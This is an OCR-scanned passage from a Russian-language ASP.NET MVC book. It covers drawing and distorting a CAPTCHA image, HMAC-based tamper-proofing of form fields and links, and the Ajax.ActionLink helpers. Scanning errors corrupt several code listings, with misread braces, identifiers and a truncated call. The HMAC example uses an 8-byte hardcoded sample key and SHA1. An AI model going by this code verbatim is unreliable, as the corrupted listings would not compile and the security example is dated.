Для получения действительного изображения добавьте новый класс контроллера CaptchalmageController, содержащий метод действия Render (). Как было описано в начале примера, он должен извлечь текст решения, который соответствует входному GUID вызова, и затем отправить динамически сгенерированное изображение для этого текста обратно в поток ответа. Визуализация динамического изображения в .NET, наряду со всеми сложностями создания и освобождения ресурсов GDI, потребует достаточно большого объема кода, который не слишком интересен или информативен. Ниже приведен полный листинг кода, но помните, что набирать его вручную не нужно, поскольку он входит в комплект загружаемого кода для этой книги. Не следует также беспокоиться, если вы не знакомы с GDI (интерфейс графических устройств в .NET, предоставляющий объекты Bitmap, Font и т.п.), так как в рассматриваемом примере это не главное.
public class CaptchalmageController : Controller
{
private const int Imagewidth = 200, ImageHeight = 70;
private const string FontFamily = "Rockwell";
private readonly static Brush Foreground = Brushes.Navy;
private readonly static Color Background = Color.Silver;
public void Render(string challengeGuid) {
// Извлечь текст решения из Session!]
string key = CaptchaHelper.SessionKeyPrefix + challengeGuid;
string solution = (string)HttpContext.Session[key];
if (solution != null) {
// Создать пустое полотно для отображения на нем CAPTCHA using (Bitmap bmp = new Bitmap(Imagewidth, ImageHeight)) using (Graphics g = Graphics.Fromlmage(bmp)) using (Font font = new Font (FontFamily, If)) { g.Clear(Background);
/ / Выполнить пробную визуализацию для определения наилучшего размера шрифта SizeF finalsize;
SizeF testsize = g.Measurestring(solution, font);
float bestFontSize = Math.Min(Imagewidth / testsize.Width,
ImageHeight / testSize.Height) * 0.95f;
using (Font finalFont = new Font(FontFamily, bestFontSize)) { finalsize = g.Measurestring(solution, finalFont);
}
// Получить путь, который представляет текст, центрированный на полотне g.PageIJnit = GraphicsUnit. Point;
PointF textTopheft = new PointF((Imagewidth - finalsize.Width) / 2, (ImageHeight - finalsize.Height) / 2) ;
using(GraphicsPath path = new GraphicsPath()) {
path.AddString(solution, new FontFamily(FontFamily), 0, bestFontSize, textTopLeft, StringFormat.GenericDefault); // Визуализировать путь в битовый образ
g.SmoothingMode = SmoothingMode.HighQuality;
g.FillPath(Foreground, path);
g.Flush();
// Отправить изображение в поток ответа в формате GIF Response.ContentType = "image/gif";
bmp.Save(Response.Outputstream, ImageFormat.Gif);
1
)
)
}
1
400 Часть II. ASP.NET MVC во всех деталях
Для того чтобы это скомпилировалось, понадобится импортировать ряд пространств имен, относящихся к GDI. Просто установите курсор на любое нераспознанное имя класса и нажмите <Ctrl+.>; все остальное сделает Visual Studio.
Теперь, имея реализацию контроллера CaptchalmageController, можно перезагрузить URL /Registration и увидеть изображение CAPTCHA, как показано на рис. 11.13.
Рис. 11.13. Изображение CAPTCHA на экране регистрации
Искажение текста
Все выглядит неплохо, но кое-чего не хватает. Этот текст способна распознать даже самая примитивная система ORC. Существуют разные стратегии для затруднения автоматического распознавания, вроде искажения символов или наложения случайных линий и узоров. Давайте и мы немного исказим картинку. Добавьте в класс CaptchalmageController следующий код:
private const int WarpFactor = 5;
private const Double xAmp = WarpFactor * Imagewidth / 100;
private const Double yAmp = WarpFactor * ImageHeight / 85;
private const Double xFreq = 2 * Math.PI / Imagewidth;
private const Double yFreq = 2 * Math.PI / ImageHeight;
private GraphicsPath DeformPath(GraphicsPath path)
{
PointF[] deformed = new PointF[path.PathPoints.Length];
Random rng = new Random () ;
Double xSeed = rng.NextDouble () * 2 * Math.PI;
Double ySeed = rng.NextDouble() * 2 * Math.PI;
for (int i = 0; i < path.PathPoints,Length; i++) (
PointF original = path.PathPoints[i] ;
Double val = xFreq * original.X + yFreq * original.Y;
int xOffset = (int)(xAmp * Math.Sin(val + xSeed));
int yOffset = (int)(yAmp * Math.Sin(val + ySeed));
deformed[i] = new PointF(original.X + xOffset, original.Y + yOffset);
1
return new GraphicsPath(deformed, path.PathTypes);
1
По существу, этот код растягивает полотно на бугорчатой поверхности, определенной произвольными синусоидами. Полученная защита не является особо сложной, но при желании метод DeformPath () можно расширить. Чтобы добавленный код дал эффект, измените строку кода в методе Render () контроллера CaptchalmageController. которая отвечает за рисование текста, чтобы она вызвала DeformPath () (строка выделена полужирным):
Глава 11. Ввод данных 401
// Визуализировать путь к битовой карте
g.SmoothingMode = SmoothingMode.HighQuality;
g.FillPath(Foreground, DeformPath(path));
g.Flush();
Теперь экран регистрации выглядит так, как показано на рис. 11.14.
Рис. 11.14. Изображение CAPTCHA теперь искажает буквы
Верификация отправленной формы
Итак, теперь имеется возможность выводить убедительно выглядящее изображение CAPTCHA, но пока еще ничего не сделано в отношении верификации отправленных форм. Начните с реализации метода VerifyAndExpireSolution () в CaptchaHelper:
public static bool VerifyAndExpireSolution(HttpContextBase context, string challengeGuid, string attemptedSolution)
{
// Немедленно удалить решение из Session[] для предотвращения атак повторением string solution = (string)context.Session[SessionKeyPrefix + challengeGuid]; context.Session.Remove(SessionKeyPrefix + challengeGuid);
return ((solution != null) && (attemptedSolution == solution));
}
Как объяснялось в начале рассматриваемого примера, код проверяет введенное пользователем решение на соответствие решению, сохраненному для заданного GUID вызова. Независимо от того, обнаружено ли соответствие, решение удаляется из Session [], препятствуя атакам повторным использованием известных решений.
Теперь модифицируем метод действия SubmitRegistration () контроллера Registrationcontroller для использования VerifyAndExpireSolution ():
public ActionResult SubmitRegistration(string myCaptcha, string attempt)
{
if (CaptchaHelper.VerifyAndExpireSolution(HttpContext, myCaptcha, attempt)) {
// В реальном приложении действительно зарегистрировать пользователя return Content("Pass");
}
else
{
//В реальном приложении повторно отобразить представление с сообшением об ошибке return Content("Fail");
}
}
402 Часть II. ASP.NET MVC во всех деталях
Вот и все. Если посетитель введет корректные буквы, метод отобразит сообщение Pass (Пройдено), а в противном случае — Fail (Не пройдено). В качестве альтернативы можно изменить логику так, чтобы в случае непрохождения теста CAPTCHA сообщение об ошибке направлялось в Modelstate и затем заново отображалось то же самое представление регистрации.
В заключение следует отметить, что создать вспомогательный метод CAPTCHA, который легко повторно использовать во множестве форм по всему приложению ASP.NET MVC, очень просто. Рассмотренный выше пример не защитит от наиболее настойчивых взломщиков, хотя, впрочем, для этого вряд ли будет достаточно одного лишь теста CAPTCHA.
Совет. Для того чтобы превратить приведенную выше логику верификации в многократно используемый, распространяемый компонент CAPTCHA для применения во многих решениях, достаточно поместить классы CaptchaHelper и CaptchalmageController в отельную сборку.
Ссылки подтверждения и защита от искажения с помощью кодов НМАС
При разработке веб-приложений возникают две распространенных ситуации.
•	Необходимо отправить посетителю ссылку по электронной почте, сопроводив текстом вроде “Щелкните сюда, чтобы изменить забытый пароль”, но реализовать это, разумеется, не в виде URL /Users/ChangePassword?UserID=1234, потому что злонамеренный или любопытный посетитель сможет легко заменить идентификатор пользователя 1234 каким-нибудь другим.
•	Требуется сохранить некоторые данные о состоянии в скрытом поле HTML-формы и каким-то образом гарантировать, что они не будут отредактированы злоумышленником.
В любом случае необходим способ получить строку (например, 1234 в первой ситуации) и проверить, что она была выдана вашим сервером и не подвергалась изменениям. Может даже нужно убедиться, что она была выдана недавно, если срок ее пригодности составляет, скажем, 24 часа.
Одна из возможных стратегий состоит в том, чтобы создать таблицу базы данных со столбцами Guid, SecuredData и ExpiryDate. Вместо отправки клиенту данные помещаются в таблицу, а взамен их посылается значение Guid. Такой подход работает, но использование базы данных при этом не слишком удобно. В сценарии с высокой нагрузкой в базе одновременно могут оказаться миллионы фрагментов секретных данных, и в любом случае придется установить какие-то расписания для периодической очистки устаревших данных.
Служебный класс НМАС
Более элегантное и предпочтительное решение предусматривает использование хеш-кода проверки подлинности сообщения (hashing message authentication code — НМАС). Это не подразумевает хранение каких-либо данных на сервере, однако обеспечивает криптографическую защиту от нежелательного вмешательства.
Каким образом это работает? Техника НМАС основана на применении алгоритма хеширования, который генерирует из произвольных входных данных короткий, уникальный хеш-код. В алгоритме используется секретный ключ, который позволяет вычислить конкретный хеш-код для определенного ввода только обладателю этого ключа. Ниже кратко описано решение с хеш-кодом.
Глава 11. Ввод данных 403
•	Сначала пользователю передается некоторое уязвимое значение (например, идентификатор пользователя в скрытом поле формы), а также хеш-код этого значения (в отдельном скрытом поле формы).
•	Когда пользователь отправит уязвимые данные обратно, будут получены и важные данные, и их хеш-код. Это позволяет повторно вычислить хеш-код для отправленных данных и сравнить его с отправленным хеш-кодом. Пользователь не сможет вмешаться в важные данные, потому что если он это сделает, хеш-код перестанет им соответствовать (алгоритм вычисления хеш-код известен только тому, кто его реализовал).
Хотя это блестяще работает в теории, на практике следует остерегаться различных лазеек. Например, не хешируйте просто значение int, потому что как только хакер узнает хеш-код для определенного целочисленного значения, он сможет повторно использовать его в другой части приложения, где тоже хешируются целые числа. Чтобы предотвратить это, добавляйте во входные данные произвольную строку, уникальную для контекста, в котором предполагается использование хеша. Кроме того, для генерируемых хеш-кодов имеет смысл предусмотреть автоматическое устаревание, чтобы ограничить ущерб, если хакер завладеет хеш-кодом для чужого значения (например, используя атаку XSS).
На заметку! Почему следует предотвращать искажение данных с помощью кодов НМАС, а не воспользоваться шифрованием? Дело в том, что криптография — вещь сложная, и обеспечить гарантию того, что данные находятся в безопасности, могут разве что эксперты в этой области. Техника НМАС специально спроектирована для сертификации источника данных, а именно это и требуется. С другой стороны, обычное шифрование призвано решать другую задачу: оно предотвращает чтение данных внешними субъектами, но не обязательно препятствует вмешательству в них (злоумышленник может наугад изменить какой-нибудь бит, не будучи в состоянии предсказать результат, но он никогда не сможет непреднамеренно получить другое корректное значение).
В следующем примере будет показано, как использовать API-интерфейс .NET Framework System. Security. Cryptography для генерации кодов НМАС. В коде примера применяется класс по имени HMACSHA1, который генерирует хеш-коды по алгоритму, производному от SHA1. Он помещен в оболочку служебного класса TamperProofing, который создает автоматически устаревающие хеш-коды, встраивая дату их истечения во входные данные.
public static class TamperProofing
{
// В своем приложении измените Key на любые случайные 8 байт
// и храните их в секрете
static byte[] Key = new byte[] { 93, 101, 2, 239, 55, 0, 16, 188 };
public enum HMACResult { OK, Expired, Invalid }
public static string GetExpiringHMAC(string message, DateTime expiryDate) {
HMAC alg = new HMACSHA1 (Key) ;
try {
string input = expiryDate.Ticks + message;
byte[] hashBytes = alg.ComputeHash(Encoding.UTF8.GetBytes(input));
byte[] result = new byte[8 + hashBytes.Length];
hashBytes.CopyTo(result, 8) ;
BitConverter.GetBytes(expiryDate.Ticks).CopyTo(result, 0) ; return Swap(Convert.ToBase64String(result), "+=/", }
finally { alg.Clear(); }
}
404 Часть II. ASP.NET MVC во всех деталях
public static HMACResult Verify(string message, string expiringHMAC) {
byte[] bytes = Convert.FromBase64String(Swap(expiringHMAC,	"+=/"));
DateTime claimedExpiry = new DateTime(BitConverter.Tolnt64(bytes, 0));
if (claimedExpiry < DateTime.Now)
return HMACResult.Expired;
else if(expiringHMAC == GetExpiringHMAC(message, claimedExpiry)) return HMACResult.OK;
else
return HMACResult.Invalid;
}
private static string Swap(string str, string input, string output) {
// Используется для исключения символов, которые небезопасны для URL
for (int i = 0; i < input.Length; i++)
str = str.Replace(input[i], output[i]);
return str;
Внимание! Если вы решите воспользоваться классом TamperProofing, обезопасьте приложение, изменив содержимое массива Key другой секретной последовательностью произвольных байтов. Кроме того, не оставляйте никаких средств, с помощью которых внешний субъект сможет заставить приложение вычислить и вернуть код НМАС для произвольного сообщения.
Пример применения
Служебный класс TamperProofing можно использовать в контроллере примерно так:
public class PrizeClaimController : Controller {
public ViewResult ClaimForm()
{
string prize = "$10.00";
DateTime expiry = DateTime.Now.AddMinutes (15);
return View(new {
PrizeWon = prize,
PrizeHash = TamperProofing.GetExpiringHMAC(prize, expiry) });
)
public string SubmitClaim(string PrizeWon, string PrizeHash, string Address) {
var verificationResult = TamperProofing.Verify(PrizeWon, PrizeHash);
if (verificationResult == TamperProofing.HMACResult.OK) return string.Format("OK, we'll send the {0} to {1}", HttpUtility.HtmlEncode(PrizeWon), HttpUtility.HtmlEncode(Address));
else
return "Sorry, you tried to cheat or were too slow."; // Или попытка // обмануть, или чрезмерная медлительность }
}
Представление для действия ClaimForm может иметь следующее содержимое:
Глава 11. Ввод данных 405
<hl>Congratulations, you've won <%= ViewData.Eval("PrizeWon") %>!</hl>
<p>Claim it before it expires.</p>
<% using(Html.BeginForm("SubmitClaim", "PrizeClaim")) { %>
<%= Html.Hidden("PrizeHash") %>
<div>Prize: <%= Html.TextBox("PrizeWon") %></div>
<div>Your address: <%= Html.TextArea("Address", null, 4, 15, null) %></div>
<p align="center"xinput type="submit" value="Submit prize claim" /></p>
<% } %>
Результирующие экраны показаны на рис. 11.15.
Рис. 11.15. Защита от искажения в действии
Хранить значение PrizeWon где-то на сервере нет необходимости, так как оно сохраняется в полностью видимом, редактируемом текстовом поле на стороне клиента4, и все же вы можете быть уверены, что пользователь не изменил значение. Также не придется нигде более сохранять дату срока годности, потому что она включается в хеш.
Совет. Если служебный класс НМАС используется для защиты от искажения параметра строки запроса (например, param=1234), ссылку должна иметь вид "/Url?param=1234&hash=" + TamperProofing.GetExpiringHMAC("1234",expiryDate) . Все символы, которые поступают из метода GetExpiringHMAC (), являются безопасными для URL.
4 Это сделано только для целей демонстрации. В реальности такой подход, скорее всего, будет применяться для защиты скрытых полей форм.
406 Часть II. ASP.NET MVC во всех деталях
Резюме
В этой главе были продемонстрированы общие функциональные возможности вебприложений и способы их реализации в ASP.NET MVC. К ним относится проверка достоверности, многошаговые формы (мастера), элементы CAPTCHA и защита от искажения. Кроме того, вы узнали, как использовать привязку модели для приема и автоматического разбора сложного пользовательского ввода.
Поскольку вы уже ознакомились с большинством встроенных средств MVC Framework, в вашем распоряжении теперь есть большинство строительных блоков для создания типичного веб-приложения. Однако пока еще не было уделено внимание интерактивности клиентской стороны. В следующей главе будет показано, насколько хорошо ASP.NET MVC работает с JavaScript и Ajax, помогая создавать развитые и современные пользовательские интерфейсы для ваших клиентов.
ГЛАВА 12
Ajax и сценарии клиента
AvSP.NET MVC — в первую очередь и по большей части технология серверной стороны. Это исключительно гибкая среда для обработки HTTP-запросов и генерации ответов в виде HTML-разметки. Но сама по себе HTML-разметка статична — она обновляется каждый раз, когда браузер загружает новую страницу, а потому не может обеспечить интерактивное взаимодействие с пользователем. Чтобы манипулировать объектной моделью документа (document object model — DOM) непосредственно в браузере или нарушить традиционный полностраничный цикл запросов-ответов, нужна программная технология, которая работает внутри браузера (т.е. на стороне клиента).
Недостатка в технологиях клиентской стороны никогда не испытывалось. В распоряжении разработчиков есть JavaScript, Flash, VBScript, ActiveX, аплеты Java, файлы HTC, XUL, а теперь еще и Silverlight. Фактически имеется настолько много несовместимых технологий, каждая из которых может быть как доступна, так и не доступна в конкретном браузере посетителя, что многие годы ситуация оставалась неизменной. Большинство веб-разработчиков перестраховываются и предпочитают вообще не пользоваться языками сценариев клиентской стороны, несмотря на то, что чистая HTML-разметка выглядит очень бедно по сравнению с интерфейсами настольных приложений (Windows Forms или WPF).
Потому и не удивительно, что веб-приложения заслужили репутацию медлительных и неудобных. Но начиная с 2004 г., появилась целая серия высококачественных вебприложений, включая Gmail от Google, которые интенсивно использовали JavaScript для создания впечатляюще быстрых пользовательских интерфейсов, подобных настольным приложениям. Эти приложения могут быстро реагировать на пользовательский ввод, обновляя небольшие подразделы страницы (вместо загрузки нового документа HTML целиком). Для этого использовалась технология, получившая название Ajax1. Практически в одночасье веб-разработчики по всему миру поняли, что JavaScript — мощное и (почти всегда) безопасное в применении средство.
1 Аббревиатура Ajax означает asynchronous JavaScript and XML (асинхронный JavaScript и XML). В настоящее время лишь немногие веб-приложения передают данные в формате XML — обычно используются форматы HTML или JSON, — но применяемую технологию все равно называют Ajax.
408 Часть II. ASP.NET MVC во всех деталях
Причины использования инструментальных средств JavaScript
Если бы на этом закончились все сложности! Недостаток JavaScript состоит в том. что каждый браузер по-прежнему предлагает слегка отличающийся API-интерфейс. Кроме того, будучи действительным языком динамического программирования, JavaScript обескураживает программистов на С#, которые привыкли думать в терминах типов объектов и ожидают полной поддержки средства IntelliSense.
В основном применение JavaScript и Ajax требует приложения немалых усилий. Для облегчения этой ноши можно воспользоваться инструментальными средствами JavaScript от независимых поставщиков, такими как jQuery, Prototype, MooTools или Rico, которые предлагают простой уровень абстракции для решения распространенных задач (например, асинхронных частичных обновлений страницы), не погружаясь в детали. Из перечисленных jQuery заслужил репутацию самого замечательного подарка для веб-разработчиков, настолько удачного, что даже Microsoft теперь поставляет его вместе с ASP.NET MVC и собирается включить в будущие версии Visual Studio.
Некоторые разработчики ASP.NET не уловили наметившуюся тенденцию и по-прежнему избегают применения инструментов JavaScript или даже самого языка JavaScript. Во многих случаях это объясняется чрезвычайно сложной интеграцией традиционных приложений WebForms с библиотеками JavaScript от независимых поставщиков. Технология обратных отправок на платформе WebForms, ее изощренная модель событий и элементов управления серверной стороны, а также склонность управлять идентификаторами элементов — вместе все это вызывает затруднения с использованием JavaScript. В Microsoft нашли решение, выпустив собственную WebForms-ориентированную библиотеку JavaScript — ASP.NET AJAX.
На платформе ASP.NET MVC все эти сложности просто не существуют, так что в равной степени можно пользоваться любой библиотекой JavaScript, в том числе и ASP.NET AJAX. Возможные варианты выбора технологий представлены на рис. 12.1.
В первой половине этой главы вы узнаете, как использовать встроенные в AvSP.NET MVC вспомогательные методы Ajax.*, которые имеют дело с простыми сценариями применения Ajax. Во второй половине главы будет показано, как использовать jQuery с ASP.NET MVC для построения сложного поведения, сохраняя поддержку и для меньшинства посетителей, браузеры которых не могут выполнять код JavaScript.
API-интерфейс текущего браузера
Рис. 12.1. Варианты выбора технологий для Ajax и клиентских сценариев в ASP.NET MVC
Глава 12. Ajax и сценарии клиента 409
Вспомогательные методы Ajax.* в ASP.NET MVC
MVC Framework поставляется с набором вспомогательных методов A j ах. *, которые существенно упрощают организацию частичного асинхронного обновления страниц.
•	Ajax.ActionLink () визуализирует дескриптор ссылки аналогично методу Html. ActionLink (). При щелчке на этой ссылке производится извлечение и вставка нового содержимого в существующую HTML-страницу.
•	Ajax. BeginForm () визуализирует HTML-форму аналогично методу Html. BeginForm (). При отправке этой формы производится извлечение и вставка нового содержимого в существующую HTML-страницу.
•	Aj ах. RouteLink () подобен методу Ajах. ActionLink () за исключением того, что он генерирует URL из произвольного набора параметров маршрутизации, не обязательно включая параметр действия action. Это Ajax-эквивалент вспомогательного метода Html .RouteLink (). Он наиболее удобен в расширенных сценариях, при обращении к специальной реализации интерфейса IController, которая может не поддерживать концепцию метода действия. В остальном применение Aj ах. RouteLink () идентично Aj ах. ActionLink ().
•	Ajax. BeginRouteForm () подобен методу Ajax. BeginForm () за исключением того, что он генерирует URL из произвольного набора параметров маршрутизации, не обязательно включая параметр действия action. Это Ajax-эквивалент вспомогательного метода Html. BeginRouteForm (). В остальном его применение идентично Aj ах.BeginRouteForm().
Перечисленные методы .NET представляют собой оболочки вокруг функциональности библиотеки Microsoft ASRNET AJAX, поэтому они будут работать в большинстве современных браузеров2 при включенной поддержке JavaScript. Вспомогательные методы просто избавляют от необходимости написания кода JavaScript и знания библиотеки ASP.NET AJAX.
Обратите внимание, что страницы представлений имеют доступ к свойству по имени Ajax типа System.Web.Mvc .AjaxHelper. Вспомогательные методы, подобные ActionLink (), не определены непосредственно в Aj axHelper: на самом деле они являются расширяющими методами для этого типа. Эти расширяющие методы в действительности определены и реализованы в статическом типе по имени AjaxExtensions в пространстве имен System.Web.Mvc.Ajax, что позволяет добавлять собственные специальные вспомогательные методы Ajax.* (просто определяя новые расширяющие методы в AjaxHelper). Можно даже полностью заменить встроенные методы, удалив в web.config ссылку на Sy stem. Web .Mvc .Ajax. В общем, все делается точно так же. как при добавлении или замене вспомогательных методов Html. *.
Асинхронная выборка содержимого страницы с использованием метода Ajax .ActionLink
Чтобы можно было пользоваться описанными выше вспомогательными методами, в HTML-страницы потребуется добавить ссылки на два файла JavaScript. Один из них содержит реализации вспомогательных методов ASP.NET MVC Aj ах. *, а второй — библиотеку ASP.NET AJAX, на которую эти реализации полагаются. Оба файла по умолчанию находятся в папке /Scripts каждого нового проекта ASP.NET MVC, но на них нужно
2 В их число входят Internet Explorer 6.0, Firefox 1.5, Opera 9.0, Safari 2.0 и последующие версии этих браузеров.
410 Часть II. ASP.NET MVC во всех деталях
установить ссылки, добавив дескрипторы <script> в начало раздела <head> представления или мастер-страницы:
<html>
<head runat="server">
<script src="<%= Url.Content("~/Scripts/MicrosoftAjax.js") %>" type="text/ javascript"X/script>
<script src="<%= Url.Content("~/Scripts/MicrosoftMvcAjax.js") %>" type="text/javascript"x/script>
<!— Остальное без изменений -->
</head>
</html>
Совет. При обращении к файлам JavaScript используйте метод Url. Content () вместо жесткого кодирования абсолютного URL. Это позволит дескрипторам сохранить работоспособность даже после развертывания в виртуальном каталоге.
Вспомогательный метод Aj ах. ActionLink () подробно рассматривается далее в главе. Но сначала давайте посмотрим на него в действии. Пусть имеется следующий фрагмент шаблона представления:
<h2>What time is it?</h2>
<P>
Show me the time in:
<%= Ajax.ActionLink("UTC", "GetTime", new { zone = "utc" },
new AjaxOptions { UpdateTargetld = "myResults" }) %>
<%= Ajax.ActionLink("BST", "GetTime", new { zone = "bst" },
new AjaxOptions { UpdateTargetld = "myResults" }) %>
<%= Ajax.ActionLink("MDT", "GetTime", new { zone = "mdt" },
new AjaxOptions { UpdateTargetld = "myResults" }) %>
</p>
<div id="myResults" style="border: 2px dotted red; padding: ,5em;"> Results will appear here
</div>
<p>
This page was generated at <%= DateTime.UtcNow.ToString("h:MM:ss tt") %> (UTC)
</p>
Каждая из трех ссылок Ajax запрашивает данные из действия GetTime (на текущем контроллере), передавая ему параметр по имени zone. Ссылки встраивают ответ от сервера в элемент div по имени myResults, заменяя его прежнее содержимое.
Сейчас щелчки на этих ссылках не дают какого-либо эффекта. Браузер выдаст асинхронный запрос, но пока еще нет никаких действий по имени GetTime, поэтому сервер отреагирует ошибкой “404 Not Found’’ (не найдено). Тем не менее, сообщение об ошибке не отобразится, потому что вспомогательные методы Ajax.* не выдают никаких сообщений об ошибках, если им явно не указано делать это. Давайте заставим их работать, реализовав метод GetTime (), как показано ниже:
public string GetTime(string zone)
{
DateTime time = DateTime.UtcNow.AddHours(offsets[zone]);
return string.Format("<div>The time in {0} is {l:h:MM:ss tt}</div>", zone.ToUpper(), time);
}
private Dictionary<string, int> offsets = new Dictionary<string, int> { { "utc", 0 }, { "bst", 1 }, { "mdt", -6 }
};
Глава 12. Ajax и сценарии клиента 411
В этом методе действия нет ничего особенного. Ему не нужно знать или заботиться о том, что он работает как асинхронный запрос — это просто обычный метод действия. Если поместить точку останова внутрь метода GetTime () и затем запустить приложения в отладчике Visual Studio, легко заметить, что GetTime () вызывается (для обработки асинхронного запроса) в точности так же, как любой другой метод действия.
Для простоты этот метод действия возвращает простую строку. Но с тем же успехом он может визуализировать частичное представление или делать что-то еще, что в результате отправит текст обратно в браузер. Что бы ни отправлялось обратно из этого метода действий, ссылки, сгенерированные методом Aj ах. ActionLink (), вставят это в текущую страницу, как показано на рис. 12.2.
Как видите, все просто! Обратите внимание, что хост-страница остается постоянной — метка времени внизу не изменилась. Было предпринято частичное обновление страницы, что и является основной изюминкой Ajax.
Внимание! Если в браузере отключена поддержка JavaScript, то эти ссылки будут вести себя подобно обычным ссылкам, сгенерированным с помощью метода Html .ActionLink (). Это значит, что вся страница будет заменена ответом сервера, как при традиционной веб-навигации. Иногда такое поведение является именно тем, что нужно, но чаще зто не так. Далее в этой главе будут показаны примеры применения подхода, называемого последовательным расширением, который позволит сохранить удовлетворительное поведение приложения даже при отключенном JavaScript.
412 Часть II. ASP.NET MVC во всех деталях
Передача параметра AjaxOptions методу Ajax. ActionLink
Метод Ajax.ActionLink () имеет множество перегрузок. Большинство из них соответствуют различным перегрузкам Html .ActionLink (), поскольку разные комбинации параметров просто обеспечивают различные способы генерации целевых URL из параметров маршрутизации. Основное отличие этого метода связано с необходимостью передачи параметра типа Aj axOptions, который позволяет конфигурировать желаемое поведение асинхронной ссылки. Доступные свойства перечислены в табл. 12.1.
Таблица 12.1. Свойства класса AjaxOptions
Свойство	Тип	Назначение
Confirm	string	Если указано, в браузере откроется окно с вашим сообщением и кнопками ОК и Cancel (Отмена). Асинхронный запрос будет выдан, только в случае щелчка на ОК. Большинство разработчиков используют это окно для вывода вопроса вроде “Вы действительно хотите удалить запись [имя]?” (что не совсем правильно, поскольку кнопки ОК и Cancel не совсем подходят для ответа на такой вопрос)*.
HttpMethod	String	Указывает, какой метод HTTP (т.е. GET или POST) должен использовать асинхронный запрос. Вы не ограничены только методами GET и POST. Можно также применять и другие методы, вроде PUT или DELETE, если вы полагаете, что они описывают операцию более осмысленно. (Теоретически есть возможность даже создавать собственные имена методов, хотя вряд ли это понадобится.)
InsertionMode	InsertionMode (перечисление)	Указывает, следует ли заменить существующее содержимое целевого элемента (по умолчанию — заменить) или же добавить новое содержимое перед элементом (InsertBef ore) либо после него (InsertAfter).
Loa di ngE1emen11d	string	Если указано, то HTML-злемент с этим идентификатором будет сделан вцдимым (через CSS-правило наподобие display: block, в зависимости от типа элемента), когда асинхронный запрос начнется, а затем скрыт (используя display: none), когда запрос завершится. Чтобы отобразить индикатор выполнения загрузки, на мастер-страницу можно поместить анимированный GIF, изначально скрытый с помощью CSS-правила display: none, а затем сослаться на его идентификатор через LoadingElementld.
OnBegin	string	Имя JavaScript-функции, которая будет вызвана непосредственно перед началом асинхронного запроса. Для отмены асинхронного запроса необходимо вернуть значение false. Более подробные сведения будут даны ниже.
OnComplete	string	Имя JavaScript-функции, которая будет вызвана по завершении асинхронного запроса, независимо от его успеха или неудачи. Более подробные сведения будут даны ниже.
Глава 12. Ajax и сценарии клиента 413
Окончание табл. 12.1
Свойство	Тип	Назначение
OnSuccess	string	Имя JavaScript-функции, которая будет вызвана, если асинхронный запрос завершился успешно. Это происходит после OnComplete. Более подробные сведения будут даны ниже.
OnFailure	string	Имя JavaScript-функции, которая будет вызвана, если асинхронный запрос завершится неудачно (например, сервер вернет код состояния 404 или 405). Это случится после OnComplete. Более подробные сведения будут даны ниже.
UpdateTargetld (обязательное)	string	Идентификатор HTML-злемента, в который необходимо вставить ответ сервера.
Url	string	Если указано, асинхронный запрос будет передаваться по этому URL, переопределяя URL, сгенерированный из параметров маршрутизации. Это дает возможность обращаться к различным URL, в зависимости оттого, включена ли поддержка JavaScript (если не включена, то ссылка работает подобно обычной HTML-ссылке на URL, сгенерированный из указанных параметров маршрутизации). Обратите внимание, что из соображений безопасности браузеры не разрешают перекрестные запросы Ajax, поэтому можно обращаться только к URL из текущего домена приложения.
* Встречалось также веб-приложение, в котором выводилось окно с вопросом типа: “Вы действительно хотите отменить это задание? ОК/СапсеГ. К сожалению, простого способа отобразить приглашение с вариантами ответов, отличных от ОК и Cancel, не существует. Это ограничение, накладываемое самим браузером.
Запуск JavaScript-функций перед или после асинхронных запросов
Свойства OnBegin, OnComplete, OnSuccess и OnFailure можно использовать для вмешательства в различные точки асинхронного запроса. Последовательность их запуска такова: OnBegin, затем OnComplete и, наконец, либо OnSuccess, либо OnFailure. Эту последовательность можно прервать, вернув значение false из OnBegin или OnComplete. В случае возврата другого значения (или вообще никакого) оно просто игнорируется, а последовательность продолжается.
Любая из этих четырех функций при вызове получает единственный параметр, описывающий все, что происходит. Например, для вывода сообщения об ошибке можно написать следующий код:
<script type="text/javascript">
function handleError(ajaxContext) {
var response = ajaxContext.getresponse();
var statusCode = response.get_statusCode();
alert("Sorry, the request failed with status code " + statusCode);
}
</script>
<%= Ajax.ActionLink("Click me", "MyAction", new AjaxOptions { UpdateTargetld = "myElement", OnFailure = "handleError"}) %>
414 Часть II. ASP.NET MVC во всех деталях
Параметр ajaxContext представляет функции, перечисленные в табл. 12.2, которые можно использовать для извлечения дополнительной информации о контексте асинхронного запроса.
Таблица 12.2. Функции параметра ajaxContext, передаваемого обработчикам
OnBegin, OnComplete, OnSuccess и OnFailure
Метод	Возвращаемое значение	Тип возвращаемого значения
get_data()	Полная HTML-разметка для ответа сервера (следующего за успешным запросом).	Строка.
get_insertMode()	Значение перечисления InsertionMode, использованное для данного вызова метода Aj ах.ActionLink() .	0,1 или 2 (означает соответственно Replace, InsertBefore или InsertAfter)
get_lOadingElement()	HTML-элемент, соответствующий идентификатору LoadingElementld.	Элемент DOM.
get_request()	Исходящий запрос.	Тип Sys.Net.WebRequest из ASP.NET AJAX (см. документацию noASP.NET AJAX).
get_response()	Ответ сервера.	Тип Sys.Net. WebRequestExecutor из ASP.NET AJAX (см. документацию no ASP.NET AJAX).
get_updateTarget()	HTML-элемент, соответствующий идентификатору UpdateTargetld.	Элемент DOM.
Обнаружение асинхронного запроса
Как упоминалось ранее, Aj ах. ActionLink () может извлечь HTML-разметку из любого метода действия, и методу действия не обязательно знать, что он обслуживает асинхронный запрос. Это верно, но иногда важно знать, обрабатывается асинхронный запрос или обычный. Соответствующий пример будет приведен далее в этой главе, когда мы займемся сокращением пропускной способности, потребляемой запросами Ajax.
К счастью, это легко определить, потому что каждый раз, когда Microsof tMvcAj ах. j s выдает асинхронный запрос, он добавляет специальный параметр запроса X-Requested-With со значением XMLHttpRequest. Он добавляет пару “ключ/значение” как к полезной нагрузке POST (Request. From), так и в коллекцию заголовков HTTP (Request. Headers). Это проще всего обнаружить с помощью вызова IsAjaxRequest ()3 — расширяющего метода HttpRequestBase.
Рассмотрим пример:
public ActionResult GetTime(string zone)
{
DateTime time = DateTime.UtcNow.AddHours(offsets[zone]);
if(Request.IsAjaxRequest()) {
// Сгенерировать фрагмент HTML-разметки
string fragment = string.Format(
"<div>The time in {0} is {l:h:MM:ss tt}</div>", zone.ToUpper() , time);
3 Обратите внимание, что IsAjaxRequest () является методом, а не свойством, потому что в C# 3.0 отсутствует концепция расширяющих свойств.
Глава 12. Ajax и сценарии клиента 415
return Content(fragment);
} else { // Сгенерировать полную HTML-страницу return View(time);
}
}
